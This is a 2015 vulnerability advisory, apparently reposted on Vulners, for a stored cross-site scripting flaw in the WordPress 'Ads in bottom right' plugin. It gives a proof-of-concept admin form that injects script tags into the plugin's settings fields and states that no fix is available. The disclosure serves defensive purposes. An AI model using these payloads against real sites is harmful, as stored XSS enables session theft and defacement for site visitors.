`Title: WordPress 'Ads in bottom right' Plugin
Version: 1.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download:
- https://wordpress.org/plugins/ads-in-bottom-right/
- https://plugins.svn.wordpress.org/ads-in-bottom-right/
Notified Vendor/WordPress: 2015-06-21
==========================================================
## Plugin description
==========================================================
This plugin allow you show advertising in bottom right, you can put images, flash or any html code which you want.
## Vulnerabilities
==========================================================
Plugin settings vulnerable to XSS attacks.
PoC:
Log in as admin and submit the following form:
<form method="POST" action="[URL]/wp-admin/options-general.php?page=ads-in-bottom-right.php">
<input type="text" name="status_submit" value="2"><br />
<input type="text" name="ads_title" value='"><script>alert(1)</script>'><br />
<input type="text" name="html_code" value="</textarea><script>alert(2)</script>"><br />
<input type="text" name="submit" value="Save setting"><br />
<input type="submit">
</form>
After doing this the injected script will also be executed when loading the main page.
## Solution
==========================================================
No fix available
==========================================================
Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation